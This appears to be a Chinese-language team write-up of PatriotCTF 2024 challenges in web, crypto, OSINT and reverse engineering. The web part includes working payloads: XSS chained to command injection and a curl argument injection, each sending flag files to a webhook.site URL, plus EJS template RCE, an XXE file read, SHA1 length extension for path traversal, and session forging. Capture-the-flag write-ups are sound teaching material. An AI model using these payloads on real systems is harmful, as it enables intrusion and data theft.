5858 字
29 分鐘
PatriotCTF 2024 Writeup by ICEDTEA

Before all#

This is ICEDTEA here :>
Team: ICEDTEA
Rank: 33/1361

抱歉各位,拖了超久才把它整理出來 by chilin.h

Write Up#

Web#

giraffe notes#

  • Solver: LemonTea

題目
image

看到網址 點進去就對了
image Hmmmm 好看來看不到呢
那我們來看看他給的php檔吧
image

OK 很棒 看來ip不在訪問範圍內呢 :)
這時候 curl是我們的好夥伴 :)
所以呢 打開terminal:
使用curl指令 進行IP欺騙

final paylaod

curl -H "X-Forwarded-For: 127.0.0.1" http://chal.competitivecyber.club:8081

image
啪 答案出來了

flag: CACI{1_lik3_g1raff3s_4_l0t}

Open Seasame#

  • Solver: Whale120(wha13)

一個bot介面(對外開在13336)跟一個web介面(通靈出對外開在13337)
bot介面長這樣,只能去造訪local 1337底下的路徑(會帶著admin的httponly cookie)
image
app.py

from flask import Flask, request
import uuid, subprocess

app = Flask(__name__)
SECRET = open("secret.txt", "r").read()
stats = []

@app.route('/', methods=['GET'])
def main():
    return 'Hello, World!'

@app.route('/api/stats/<string:id>', methods=['GET'])
def get_stats(id):
    for stat in stats:
        if stat['id'] == id:
            return str(stat['data'])
        
    return '{"error": "Not found"}'

@app.route('/api/stats', methods=['POST'])
def add_stats():
    try:
        username = request.json['username']
        high_score = int(request.json['high_score'])
    except:
        return '{"error": "Invalid request"}'
    
    id = str(uuid.uuid4())

    stats.append({
        'id': id,
        'data': [username, high_score]
    })
    return '{"success": "Added", "id": "'+id+'"}'

@app.route('/api/cal', methods=['GET'])
def get_cal():
    cookie = request.cookies.get('secret')

    if cookie == None:
        return '{"error": "Unauthorized"}'
    
    if cookie != SECRET:
        return '{"error": "Unauthorized"}'
    
    modifier = request.args.get('modifier','')
    
    return '{"cal": "'+subprocess.getoutput("cal "+modifier)+'"}'


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337, threaded=True)

觀察兩個洞:
XSS:去post/api/stats可以插資料,拿到的uuid可以去/api/stats/<uuid>請求獲得資料,然後資料直接輸出
Command Injection:/api/cal那邊,裸裸的subprocess.getoutput那段
Admin bot有個不能輸入cal這三個字母和不能輸入%的限制。
攻擊練:透過XSS admin帶著Command Injection Payload去fetch /api/cal

exp.py

import requests as req
import base64 as b64
payload=b'fetch(\'http://127.0.0.1:1337/api/cal?modifier=2024 ; curl https://webhook.site/9ae03b9b-4d60-4062-8ce8-af02c23e1731 --data "$(cat flag.txt)"\')'
payload=f"<script>eval(atob('{b64.b64encode(payload).decode()}'))</script>"
data={'username':payload, 'high_score':"1337"}
web=req.post('http://chal.competitivecyber.club:13337/api/stats', json=data)
print(web.text)

Flag: CACI{1_l0v3_c0mm4nd_1nj3ct10n}

Impersonate#

  • Solver: Whale120(wha13) app.py
#!/usr/bin/env python3
from flask import Flask, request, render_template, jsonify, abort, redirect, session
import uuid
import os
from datetime import datetime, timedelta
import hashlib
app = Flask(__name__)
server_start_time = datetime.now()
server_start_str = server_start_time.strftime('%Y%m%d%H%M%S')
secure_key = hashlib.sha256(f'secret_key_{server_start_str}'.encode()).hexdigest()
app.secret_key = secure_key
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(seconds=300)
flag = os.environ.get('FLAG', "flag{this_is_a_fake_flag}")
secret = uuid.UUID('31333337-1337-1337-1337-133713371337')
def is_safe_username(username):
    """Check if the username is alphanumeric and less than 20 characters."""
    return username.isalnum() and len(username) < 20
@app.route('/', methods=['GET', 'POST'])
def main():
    """Handle the main page where the user submits their username."""
    if request.method == 'GET':
        return render_template('index.html')
    elif request.method == 'POST':
        username = request.values['username']
        password = request.values['password']
        if not is_safe_username(username):
            return render_template('index.html', error='Invalid username')
        if not password:
            return render_template('index.html', error='Invalid password')
        if username.lower().startswith('admin'):
            return render_template('index.html', error='Don\'t try to impersonate administrator!')
        if not username or not password:
            return render_template('index.html', error='Invalid username or password')
        uid = uuid.uuid5(secret, username)
        session['username'] = username
        session['uid'] = str(uid)
        return redirect(f'/user/{uid}')
@app.route('/user/<uid>')
def user_page(uid):
    """Display the user's session page based on their UUID."""
    try:
        uid = uuid.UUID(uid)
    except ValueError:
        abort(404)
    session['is_admin'] = False
    return 'Welcome Guest! Sadly, you are not admin and cannot view the flag.'
@app.route('/admin')
def admin_page():
    """Display the admin page if the user is an admin."""
    if session.get('is_admin') and uuid.uuid5(secret, 'administrator') and session.get('username') == 'administrator':
        return flag
    else:
        abort(401)
@app.route('/status')
def status():
    current_time = datetime.now()
    uptime = current_time - server_start_time
    formatted_uptime = str(uptime).split('.')[0]
    formatted_current_time = current_time.strftime('%Y-%m-%d %H:%M:%S')
    status_content = f"""Server uptime: {formatted_uptime}<br>
    Server time: {formatted_current_time}
    """
    return status_content
if __name__ == '__main__':
    app.run("0.0.0.0", port=9999)

可以直接造訪/status獲得server time,然後用flask-unsign簽回去就好

flask-unsign --sign --cookie "{'is_admin': True, 'uid': '31333337-1337-1337-1337-133713371337', 'username': 'administrator'}" --secret 'af9e55089a3a20273e06f6443ba96ebe4f2c62a827d895feb16487cfca62b2d7'

KIRAN SAU PROBLEM#

  • Solver: Whale120(wha13)

一個Apache上面的php題目:
Dockerfile

FROM php:7.2-fpm

RUN apt update -y

# Install dependencies
RUN apt -y  install supervisor \
    apache2 \
    libyaml-dev \ 
    cron

# Install PHP extensions
RUN pecl install yaml && echo "extension=yaml.so" > /usr/local/etc/php/conf.d/ext-yaml.ini && docker-php-ext-enable yaml

# Copy .htaccess file
COPY conf-files/.htaccess /var/www/html/

# create .htpasswd file
RUN htpasswd -bc /etc/apache2/.htpasswd admin TEST_PASSWORD

# Copy files
COPY php-files/challenge.php /var/www/html/
COPY php-files/index.php /var/www/html/

# Copy apache configuration
COPY conf-files/000-default.conf /etc/apache2/sites-available/

# Copy supervisor configuration
COPY conf-files/php-fpm.conf /etc/supervisor/conf.d/
COPY conf-files/apache.conf /etc/supervisor/conf.d/
COPY conf-files/cron.conf /etc/supervisor/conf.d/

# Enable apache modules
RUN a2enmod rewrite \
            proxy \
            proxy_fcgi \
            auth_basic

# Remove default index.html
RUN rm /var/www/html/index.html

# Remove all files except index.php, challenge.php and .htaccess
RUN \
    echo "find /var/www/html ! \( -iname 'index.php' -o -iname 'challenge.php' -o -iname '.htaccess' \) -type f -exec rm -f {} + " > /root/script.sh \
    && echo "echo PCTF{TEST_FLAG} > /get-here/flag.txt" >> /root/script.sh \
    && chmod +x /root/script.sh

# Add crontab file in the cron directory
# Run cron job every 30 seconds
COPY conf-files/crontab /etc/crontab

# Give execution rights on the cron job
RUN chmod 0644 /etc/crontab
RUN crontab /etc/crontab


# Flag location
RUN mkdir /get-here \
    && echo "PCTF{TEST_FLAG}" > /get-here/flag.txt

# Change ownership
RUN chown -R www-data:www-data /var/www/html \
    && chown -R www-data:www-data /get-here

# Expose port 80
EXPOSE 80

# Start supervisord
CMD ["/usr/bin/supervisord", "-n"]

challenge.php

<html>
<head>
<title>Kiran Sau Problem</title>
</head>
</html>

<?php

$input = $_GET['country'];
$url = $_GET['url'];

$countryList = array(
    "AF" => "Afghanistan", "AL" => "Albania", "DZ" => "Algeria", "AS" => "American Samoa", "AD" => "Andorra", "AO" => "Angola", "AI" => "Anguilla", "AQ" => "Antarctica", "AG" => "Antigua and Barbuda", "AR" => "Argentina", "AM" => "Armenia", "AW" => "Aruba", "AU" => "Australia", "AT" => "Austria", "AZ" => "Azerbaijan", "BS" => "Bahamas", "BH" => "Bahrain", "BD" => "Bangladesh", "BB" => "Barbados", "BY" => "Belarus", "BE" => "Belgium", "BZ" => "Belize", "BJ" => "Benin", "BM" => "Bermuda", "BT" => "Bhutan", "BO" => "Bolivia", "BA" => "Bosnia and Herzegovina", "BW" => "Botswana", "BV" => "Bouvet Island", "BR" => "Brazil", "BQ" => "British Antarctic Territory", "IO" => "British Indian Ocean Territory", "VG" => "British Virgin Islands", "BN" => "Brunei", "BG" => "Bulgaria", "BF" => "Burkina Faso", "BI" => "Burundi", "KH" => "Cambodia", "CM" => "Cameroon", "CA" => "Canada", "CT" => "Canton and Enderbury Islands", "CV" => "Cape Verde", "KY" => "Cayman Islands", "CF" => "Central African Republic", "TD" => "Chad", "CL" => "Chile", "CN" => "China", "CX" => "Christmas Island", "CC" => "Cocos [Keeling] Islands", "CO" => "Colombia", "KM" => "Comoros", "CG" => "Congo - Brazzaville", "CD" => "Congo - Kinshasa", "CK" => "Cook Islands", "CR" => "Costa Rica", "HR" => "Croatia", "CU" => "Cuba", "CY" => "Cyprus", "CZ" => "Czech Republic", "CI" => "Côte d’Ivoire", "DK" => "Denmark", "DJ" => "Djibouti", "DM" => "Dominica", "DO" => "Dominican Republic", "NQ" => "Dronning Maud Land", "DD" => "East Germany", "EC" => "Ecuador", "EG" => "Egypt", "SV" => "El Salvador", "GQ" => "Equatorial Guinea", "ER" => "Eritrea", "EE" => "Estonia", "ET" => "Ethiopia", "FK" => "Falkland Islands", "FO" => "Faroe Islands", "FJ" => "Fiji", "FI" => "Finland", "FR" => "France", "GF" => "French Guiana", "PF" => "French Polynesia", "TF" => "French Southern Territories", "FQ" => "French Southern and Antarctic Territories", "GA" => "Gabon", "GM" => "Gambia", "GE" => "Georgia", "DE" => "Germany", "GH" => "Ghana", "GI" => "Gibraltar", "GR" => "Greece", "GL" => "Greenland", "GD" => "Grenada", "GP" => "Guadeloupe", "GU" => "Guam", "GT" => "Guatemala", "GG" => "Guernsey", "GN" => "Guinea", "GW" => "Guinea-Bissau", "GY" => "Guyana", "HT" => "Haiti", "HM" => "Heard Island and McDonald Islands", "HN" => "Honduras", "HK" => "Hong Kong SAR China", "HU" => "Hungary", "IS" => "Iceland", "IN" => "India", "ID" => "Indonesia", "IR" => "Iran", "IQ" => "Iraq", "IE" => "Ireland", "IM" => "Isle of Man", "IL" => "Israel", "IT" => "Italy", "JM" => "Jamaica", "JP" => "Japan", "JE" => "Jersey", "JT" => "Johnston Island", "JO" => "Jordan", "KZ" => "Kazakhstan", "KE" => "Kenya", "KI" => "Kiribati", "KW" => "Kuwait", "KG" => "Kyrgyzstan", "LA" => "Laos", "LV" => "Latvia", "LB" => "Lebanon", "LS" => "Lesotho", "LR" => "Liberia", "LY" => "Libya", "LI" => "Liechtenstein", "LT" => "Lithuania", "LU" => "Luxembourg", "MO" => "Macau SAR China", "MK" => "Macedonia", "MG" => "Madagascar", "MW" => "Malawi", "MY" => "Malaysia", "MV" => "Maldives", "ML" => "Mali", "MT" => "Malta", "MH" => "Marshall Islands", "MQ" => "Martinique", "MR" => "Mauritania", "MU" => "Mauritius", "YT" => "Mayotte", "FX" => "Metropolitan France", "MX" => "Mexico", "FM" => "Micronesia", "MI" => "Midway Islands", "MD" => "Moldova", "MC" => "Monaco", "MN" => "Mongolia", "ME" => "Montenegro", "MS" => "Montserrat", "MA" => "Morocco", "MZ" => "Mozambique", "MM" => "Myanmar [Burma]", "NA" => "Namibia", "NR" => "Nauru", "NP" => "Nepal", "NL" => "Netherlands", "AN" => "Netherlands Antilles", "NT" => "Neutral Zone", "NC" => "New Caledonia", "NZ" => "New Zealand", "NI" => "Nicaragua", "NE" => "Niger", "NG" => "Nigeria", "NU" => "Niue", "NF" => "Norfolk Island", "KP" => "North Korea", "VD" => "North Vietnam", "MP" => "Northern Mariana Islands", "NO" => "Norway", "OM" => "Oman", "PC" => "Pacific Islands Trust Territory", "PK" => "Pakistan", "PW" => "Palau", "PS" => "Palestinian Territories", "PA" => "Panama", "PZ" => "Panama Canal Zone", "PG" => "Papua New Guinea", "PY" => "Paraguay", "YD" => "People's Democratic Republic of Yemen", "PE" => "Peru", "PH" => "Philippines", "PN" => "Pitcairn Islands", "PL" => "Poland", "PT" => "Portugal", "PR" => "Puerto Rico", "QA" => "Qatar", "RO" => "Romania", "RU" => "Russia", "RW" => "Rwanda", "RE" => "Réunion", "BL" => "Saint Barthélemy", "SH" => "Saint Helena", "KN" => "Saint Kitts and Nevis", "LC" => "Saint Lucia", "MF" => "Saint Martin", "PM" => "Saint Pierre and Miquelon", "VC" => "Saint Vincent and the Grenadines", "WS" => "Samoa", "SM" => "San Marino", "SA" => "Saudi Arabia", "SN" => "Senegal", "RS" => "Serbia", "CS" => "Serbia and Montenegro", "SC" => "Seychelles", "SL" => "Sierra Leone", "SG" => "Singapore", "SK" => "Slovakia", "SI" => "Slovenia", "SB" => "Solomon Islands", "SO" => "Somalia", "ZA" => "South Africa", "GS" => "South Georgia and the South Sandwich Islands", "KR" => "South Korea", "ES" => "Spain", "LK" => "Sri Lanka", "SD" => "Sudan", "SR" => "Suriname", "SJ" => "Svalbard and Jan Mayen", "SZ" => "Swaziland", "SE" => "Sweden", "CH" => "Switzerland", "SY" => "Syria", "ST" => "São Tomé and Príncipe", "TW" => "Taiwan", "TJ" => "Tajikistan", "TZ" => "Tanzania", "TH" => "Thailand", "TL" => "Timor-Leste", "TG" => "Togo", "TK" => "Tokelau", "TO" => "Tonga", "TT" => "Trinidad and Tobago", "TN" => "Tunisia", "TR" => "Turkey", "TM" => "Turkmenistan", "TC" => "Turks and Caicos Islands", "TV" => "Tuvalu", "UM" => "U.S. Minor Outlying Islands", "PU" => "U.S. Miscellaneous Pacific Islands", "VI" => "U.S. Virgin Islands", "UG" => "Uganda", "UA" => "Ukraine", "SU" => "Union of Soviet Socialist Republics", "AE" => "United Arab Emirates", "GB" => "United Kingdom", "US" => "United States", "ZZ" => "Unknown or Invalid Region", "UY" => "Uruguay", "UZ" => "Uzbekistan", "VU" => "Vanuatu", "VA" => "Vatican City", "VE" => "Venezuela", "VN" => "Vietnam", "WK" => "Wake Island", "WF" => "Wallis and Futuna", "EH" => "Western Sahara", "YE" => "Yemen", "ZM" => "Zambia", "ZW" => "Zimbabwe", "AX" => "Åland Islands", );
$countryList = array_flip($countryList);

$yaml = <<<EOF
- country: $input
- country_code: $countryList[$input]
EOF;

if (empty($yaml)) die("No YAML data provided");


$parsed_arr = yaml_parse($yaml);
$cc = $parsed_arr[1]['country_code'];

if (!$parsed_arr) echo "Error parsing YAML".'<br>';

if (!$input) die("No country code provided");

if (isset($input)) {
    if (array_key_exists($parsed_arr[0]['country'], $countryList)) {
        echo "The country code for ".$parsed_arr[0]['country']." is ". $cc.'<br>';
        run($cc, $url);
    } else {
        die("Country not found");
        return; 
    }
}

function run($cc, $url) {

    echo "Country code: ".$cc."<br>";
    if (!$cc) {
        system(escapeshellcmd('curl '.$url));
    } 
    return;
}

.htaccess

<Files "challenge.php">
    AuthType Basic 
    AuthName "Admin Panel"
    AuthUserFile "/etc/apache2/.htpasswd"
    Require valid-user
</Files>

疑,那Apache版本呢?
請求看看/whale
image
Apache 2.4.59!!!
看到這個馬上聯想到 Orange大大的研究
簡單來說,我可以使用一個url encode後的問號去做Confusion Attack(.htaccess甚至長一模一樣)
image
繞過http authㄌ
接下來重點看看challenge.php裡面的這一段:

function run($cc, $url) {

    echo "Country code: ".$cc."<br>";
    if (!$cc) {
        system(escapeshellcmd('curl '.$url));
    } 
    return;
}

可以看出雖然過濾了可以造成command injection的字元,但畢竟這題只是要讀檔,簡單利用一下Argument Injection就好了,像這樣:

curl -F FLAG=@/get-here/flag.txt http://whale.meow

最後,再看看這個Function的調用條件,必須滿足讀進來的第一個參數cc是空,於是追溯到這段看看:

$yaml = <<<EOF
- country: $input
- country_code: $countryList[$input]
EOF;

if (empty($yaml)) die("No YAML data provided");


$parsed_arr = yaml_parse($yaml);
$cc = $parsed_arr[1]['country_code'];

if (!$parsed_arr) echo "Error parsing YAML".'<br>';

if (!$input) die("No country code provided");

if (isset($input)) {
    if (array_key_exists($parsed_arr[0]['country'], $countryList)) {
        echo "The country code for ".$parsed_arr[0]['country']." is ". $cc.'<br>';
        run($cc, $url);
    } else {
        die("Country not found");
        return; 
    }
}

可以發現是yaml讀國碼,使用The Norway Problem(link)的作法就能讓他變成一個不存在的變數,進而跑到run function那邊做Argument Injection

Final Payload:

http://chal.competitivecyber.club:8090/challenge.php%3Fwhale.php?url=-F%20FLAG=@/get-here/flag.txt%20https://webhook.site/9ae03b9b-4d60-4062-8ce8-af02c23e1731&country=Norway

P.S.因為沒過濾輸入,所以country也可以插入像是meow%0d$0a- country_code: False之類的進行Yaml注入,不一定要做Norway Trick

Flag: PCTF{Kiran_SAU_Manifested}

dogdays#

要讀取到/flag,切入重點,打view.php

<?php
        $pic = $_GET['pic'];
        $hash = $_GET['hash'];
        if(sha1("TEST SECRET1".$pic)==$hash){
                $imgdata = base64_encode(file_get_contents("pupper/".str_replace("\0","",$pic)));
                echo "<!DOCTYPE html>";
                echo "<html><body><h1>Here's your picture:</h1>";
                echo "<img src='data:image/png;base64,".$imgdata."'>";
                echo "</body></html>";
        }else{
                echo "<!DOCTYPE html><html><body>";
                echo "<h1>Invalid hash provided!</h1>";
                echo '<img src="assets/BAD.gif"/>';
                echo "</body></html>";
        }
        // The flag is at /flag, that's all you're getting!
?>

可以看到赤裸裸的LFI,但是他會用sha1去checksum,有撒鹽,所以需要做長度擴展攻擊。
Solve Script
sha1使用的是:https://github.com/William957-web/length-extension-attack/blob/main/length_extension_sha1/sha1.py

exp.py

import hashlib
import hexdump
import struct
# https://github.com/ajalt/python-sha1
import sha1

import requests as req
import urllib.parse

baseurl='http://chal.competitivecyber.club:7777/view.php?'
INJECT_STRING = b"/../../../../../../../flag"

class Sha1Padding:
    def __init__(self):
        # Length in bytes of all data that has been processed so far
        self._message_byte_length = 0

    def pad(self, message):
        """Return finalized digest variables for the data processed so far."""
        # Pre-processing:
        message_byte_length = self._message_byte_length + len(message)

        # append the bit '1' to the message
        message += b'\x80'

        # append 0 <= k < 512 bits '0', so that the resulting message length (in bytes)
        # is congruent to 56 (mod 64)
        message += b'\x00' * ((56 - (message_byte_length + 1) % 64) % 64)

        # append length of message (before pre-processing), in bits, as 64-bit big-endian integer
        message_bit_length = message_byte_length * 8
        message += struct.pack(b'>Q', message_bit_length)

        return message

def attack(originData, originHash, keyLen):

    """ Generate attackData """
    # Padding - (key + originData + padding) + attackData
    pad = Sha1Padding()

    tmpStr = ('A' * keyLen).encode()
    attackData = pad.pad(tmpStr + originData)[keyLen:] + INJECT_STRING
    #print(hexdump.hexdump(attackData))

    """ Generate attackHash """
    sha = sha1.Sha1Hash()
    sha.update(INJECT_STRING, originHash.encode())
    attackHash = sha.hexdigest()

    return attackData, attackHash

for i in range(1, 100):
    pic, hash=attack(b'1.png', '06dadc9db741e1c2a91f266203f01b9224b5facf', i)
    web=req.get(baseurl+urllib.parse.urlencode({'pic':pic, 'hash':hash}))
    if 'Here\'s your picture:' in web.text:
        print(web.text)
        break

image

Flag: pctf{3xt3nd_my_th4nk5_e9b5f6aa07}

Blob#

index.js

require("express")()
  .set("view engine", "ejs")
  .use((req, res) => res.render("index", { blob: "blob", ...req.query }))
  .listen(3000);

標準的ejs傳入參數題,Github上面蠻多issue可以參考:ejs issue(link)
Payload:

settings[view options][escapeFunction]=(() => {});return process.mainModule.require("child_process").execSync("cat flag*").toString()&settings[view options][client]=1

Flag: CACI{bl0b_s4y_pl3453l00k0utf0rpr0707yp3p0llut10n}

DOM DOM#

app.py

#!/usr/bin/env python

__author__ = "kiransau"
__title__ =  "DOMDOM"

import os
import json
import urllib
import random
import requests
from PIL import Image
from importlib.metadata import version
from PIL.ExifTags import TAGS
from flask import Flask, flash, request, redirect, url_for, render_template
from werkzeug.utils import secure_filename
from lxml import etree

UPLOAD_FOLDER = '/app/uploads'
ALLOWED_EXTENSIONS = {'png', 'jpg'}

app = Flask(__name__,
            static_url_path='/static', 
            template_folder='templates')
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/', methods=['GET', 'POST'])
def upload_file():
    filename = ''
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        if file.filename == '':
            flash('No selected file')
            return redirect(request.url)
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename) + str(random.randrange(10000, 90000))
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))

    return render_template('upload.html', filename=filename)

@app.route('/check', methods=['POST', 'GET'])
def check():
    r = requests.Session()
    allow_ip = request.headers['Host']
    if request.method == 'POST':
        url = request.form['url']
        url_parsed = urllib.parse.urlparse(url).netloc 
        if allow_ip == url_parsed:
            get_content = r.get(url = url)
        else:
            return "Cannot request for that url"
        try:
            parsed_json = json.loads(get_content.content.decode())["Comment"]
            parser = etree.XMLParser(no_network=False, resolve_entities=True)
            get_doc = etree.fromstring(str(parsed_json), parser)
            print(get_doc, "ho")
            result = etree.tostring(get_doc)
        except:
            return "Something wrong!!"
        if result: return result
        else: return "Empty head"
    else:
        return render_template('check.html') 

@app.route('/meta')
def meta():
    iname = request.args.get("image", type=str)
    try:
        name = UPLOAD_FOLDER + '/' + iname
        try:
            image = Image.open(name)
            image_dict = {
                   "Filename": image.filename,
                   "Image Size": image.size,
                   "Comment": image.info.get('Comment')
                   }
            return image_dict
        except FileNotFoundError:
            return "File not found."
    except:
        return render_template('meta.html')


if __name__ == '__main__':
    app.secret_key = "734df63066793dfe6f7e417d4d80f453"
    app.run(debug=False, host='0.0.0.0', port=9090)

幾個觀察,/check路徑會去把json資料parse出來之後拿去lxml的etree讀資料,最後把結果輸出,赤裸裸的XXE。
然後可以上傳圖片,去/meta路徑正好就可以拿到json格式的圖片資料
最後寫腳本改一下圖片info即可。

Exploit

import requests as req
from PIL import Image
from PIL.PngImagePlugin import PngInfo

payload="""<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///app/flag.txt" >]>
<whale>
&xxe;
</whale>"""

image = Image.open("wifu.png")
metadata = PngInfo()
metadata.add_text("Comment", payload)
image.save("wifu.png", pnginfo=metadata)

f=open('wifu.png', 'rb')
files={'file':f}
url_base='http://chal.competitivecyber.club:9090/'
web=req.post(url_base, files=files)
file_name=web.text[web.text.index('Successfully uploaded: ')+23:web.text.index('Successfully uploaded: ')+36]
data={'url':'http://chal.competitivecyber.club:9090/meta?image='+file_name}
web=req.post(url_base+'check', data=data)
print(web.text)

p.s.附上wifu.png

image

Flag: PCTF{Y0u_D00m3D_U5_Man_So_SAD}

Crypto#

idk cipher#

  • Solver: Whale120(wha13)

chal.py


import base64
"""
********************************************
*                                          *
*                                          *
********************************************
"""
# WARNING: This is a secret key. Do not expose it.
srt_key = 'secretkey' # // TODO: change the placeholder
usr_input = input("\t:"*10)
if len(usr_input) <= 1:
    raise ValueError("PT must be greater than 1")
if len(usr_input) % 2 != 0:
    raise ValueError("PT can only be an even number")
if not usr_input.isalnum():
    raise ValueError("Only alphabets and numbers supported")
# WARNING: Reversing input might expose sensitive information.
rsv_input = usr_input[::-1]
output_arr = []
for i in range(int(len(usr_input) / 2)):
    c1 = ord(usr_input[i])
    c2 = ord(rsv_input[i])
    enc_p1 = chr(c1 ^ ord(srt_key[i % len(srt_key)]))
    enc_p2 = chr(c2 ^ ord(srt_key[i % len(srt_key)]))
    output_arr.append(enc_p1)
    output_arr.append(enc_p2)
# WARNING: Encoded text should not be decoded without proper authorization.
encoded_val = ''.join(output_arr)
b64_enc_val = base64.b64encode(encoded_val.encode())
R = "R"*20
E = "E"*5
EXCLAMATION = "!"*5
print(f"ULTRA SUPE{R} SECUR{E} Encoded Cipher Text{EXCLAMATION}:", b64_enc_val.decode())

ciphertext:QRVWUFdWEUpdXEVGCF8DVEoYEEIBBlEAE0dQAURFD1I=
然後檔案裡的srt_key是真的key,直接反著做

import base64
from pwn import *
secret=b'QRVWUFdWEUpdXEVGCF8DVEoYEEIBBlEAE0dQAURFD1I='
flag=xor(base64.b64decode(secret), b'sseeccrreettkkeeyy').decode()
new_flag=''
for i in range(0, 32, 2):
    new_flag+=flag[i]

for i in range(31, 0, -2):
    new_flag+=flag[i]

print(new_flag)

Flag: pctf{234c81cf3cd2a50d91d5cc1a1429855f}

Hard to implement#

加密#

重複多次
|||
|:-:|-|
|encryption|AES(ECB_MODE, 128bits)|
|data|user_input + flag|

解法#

AES prepend oracle:

假設使用者輸入000000000000000
密文的第一個block會是000000000000000 + flag的第一個字
輸入00000000000000
密文的第一個block則會是00000000000000 + flag的前兩個字

於是我們可以透過窮舉最後一個字元,並驗證密文是否相等
000000000000000a
000000000000000b
000000000000000c

000000000000000p
以此類推其他求出接下來的字元
00000000000000pa
00000000000000pb

solve:

from pwn import *
from tqdm import *
r = remote('chal.competitivecyber.club', 6002)

pretends = []
for i in range(15, 1, -1):
    r.sendlineafter(b'Send challenge > ' ,b'0' * i)
    r.recvuntil(b'Response > ')
    pretend = bytes.fromhex(r.recv(32).decode())
    pretends.append(pretend)

oracle = b''
for i, pretend in enumerate(pretends):
    for byte in trange(0x20, 0x7f):
        payload = b'0' * (15 - i) + oracle + bytes([byte])
        r.sendlineafter(b'Send challenge > ' , payload)
        r.recvuntil(b'Response > ')
        response = bytes.fromhex(r.recv(32).decode())
        if response == pretend:
            oracle += bytes([byte])
            print(oracle.decode())
            break

High Roller#

加密#

用時間當seed,生成公私鑰,並寫出到一個.pem
image

解法#

可以透過檔案的最後修改時間獲得seed
solve:

import os
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import random

filetime = os.path.getmtime("public_key.pem")

with open("public_key.pem", "rb") as key_file:
    public_key = RSA.import_key(key_file.read())

origin_N = public_key.n
e = public_key.e
d = 0

random.seed(int(filetime))
p, q = getPrime(512, random.randbytes), getPrime(512, random.randbytes)
n = p*q
phi = (p-1)*(q-1)

assert n == origin_N
d = pow(e, -1 , phi)

assert d * e % phi == 1


C = bytes_to_long(open('flag.enc', 'rb').read())
flag = long_to_bytes(pow(C, d, n))
print(flag)

bit by bit#

加密#

把明文的每16個字元分成一個chunk
有一把key, 一個個iv
每次對一個chunk,用key + iv進行xor加密
每次結束後,iv = (iv + 1) % 256

解法#

image
用xortool可以先得到key的前15bytes

solve:

from pwn import *
from Crypto.Util.number import *
import sys

blocksize = 16



def transmit():

    key = bytes_to_long(b'\x00\x00\x00\x00\xae\xcdK\x13\x90E#\xeai\xba\xfe\x00')

    iv = 0
    msg = open('cipher.txt', 'rb').read()
    chunks = [msg[i:i+16] for i in range(0,len(msg), 16)]

    send = b''
    for chunk in chunks:
        iv = (iv+1) % 255
        curr_k = b'\x00' * 4 + long_to_bytes(key+iv)
        plain = xor(curr_k, chunk)
        send += plain
    print(send.decode())
    sys.exit(0)

if __name__=="__main__":
    transmit()

protected console#

btw這題因為這邊連線速度太慢,主辦方幫忙代跑腳本
image

加密#

多次加密
|||
|:-:|-|
|encryption|AES(CBC_MODE, 128bits)|
|data|user_hex_input[16:]|
|iv|user_hex_input[:16]|

題目會解析密文(json),並讀出usernamerole的值
一旦username = "administrative_user", role = 1
就可以進入admin console,可執行print()指令

解法#

---
弱點
image
解密後會判斷padding是否正常
這讓我們可以用padding oracle來獲得block解密後的訊息
再加上可控制iv,所以我們可以有辦法改變整個密文

---
padding檢查:
image
但這個padding判斷的方式有點奇怪
如果只需一個bytes的padding,可以是\x00\x01
所以padding oracle要先找出最後一個byte是\x00\x01
並判斷哪個是\x01 (\x00倒數第二個byte必定找不到因為\x02\x03不符合padding規則)

我們知道

\begin{aligned}
    P_1 &= D(C_1) \oplus IV \\
    P_2 &= D(C_2) \oplus C_1 \\
    P_3 &= D(C_3) \oplus C_2 \\
\end{aligned}

所以我們可以透過padding oracle構造這些資料

\begin{aligned}
    C_3 &= \text{aaaaaaaaaaaaaaaa} \\
    C_2 &= D(C_3) \oplus P_3 \\
    C_1 &= D(C_2) \oplus P_2\\
    IV &= D(C_1) \oplus P_1\\
\end{aligned}

送出IV+C1+C2+C3IV+C_1+C_2+C_3就可以進入admin console了
最後利用bit flipping 執行print(flag)

Bigger is Better#

sover @LemonTea

image
題目 給了個dist.txt檔
再加上題目說是RSA key
COOL
打開dist.txt檔 看到了這個
image
丟上去線上解密
image
像這樣 然後解密
啪一聲 答案出來了

Flag: pctf{fun_w1th_l4tt1c3s_f039ab9}

OSINT#

On The Run#

FLAG: PCTF{convene}

Phase One#

  • Solver: kohiro
  • 根據題序說要找到![target_product]的MCU(image )(S1fBV1hTA.jpg) image

FLAG: pctf{Ikanos}

Porcelain Throne!#

  • Solver: kohiro

throne
google圖片搜尋image
嗯…大邱有像
image

FLAG: pctf{Daegu}

Night School#

Flag: pctf{Communitas}

sixfeetunder#

  • Sover: LemonTea source chatgpt : )

題目:image

看到題目 取關鍵字餵給AI(對我就爛)
image
image
看到人名之後 就把它輸進去
啪!答案出來了

Flag{markclark}

Studious#

  1. 先找關鍵字 George Washington University "credit" 1998
  2. 找到 https://www2.gwu.edu/~media/pressreleases/02_12_1999_tuition.html
  3. 然後回上一個目錄 https://www2.gwu.edu/~media/pressreleases/
  4. 進到 1998 https://www2.gwu.edu/~media/pressreleases/1998.html
  5. Ctrl + F fee,找到 Feb.13 GW Announces Lowest Tuition/ Fee Increase In A Decade]
  6. 得知為 714.50

Flag: PCTF{714.50}

Reverse#

Revioli, Revioli, give me the formeoli#

  • Solver題目給一個執行檔,丟IDA
    image
    flag生成跟輸入內容無關
    用gdb ni走下去
    image

Flag

Packed Full Of Surprises#

先說我好像是非預期解

執行檔功能#

可以讀入flag.txt
加密後寫出flag.txt.enc

解法#

我發現密文沒有做好diffusion,也就前後字元關連不大
於是我把原本的flag.txt.enc存成encrypted_flag.enc
把file read/write 當做 input/out
solve:

import subprocess
from tqdm import *


elf_path = "./encrypt" 



flag = b''

correctflag = open('encrypted_flag.enc', 'rb').read()

for i, ch in enumerate(correctflag):

    for byte in trange(0x20, 0x7f):
        open('flag.txt', 'wb').write(flag + bytes([byte]))
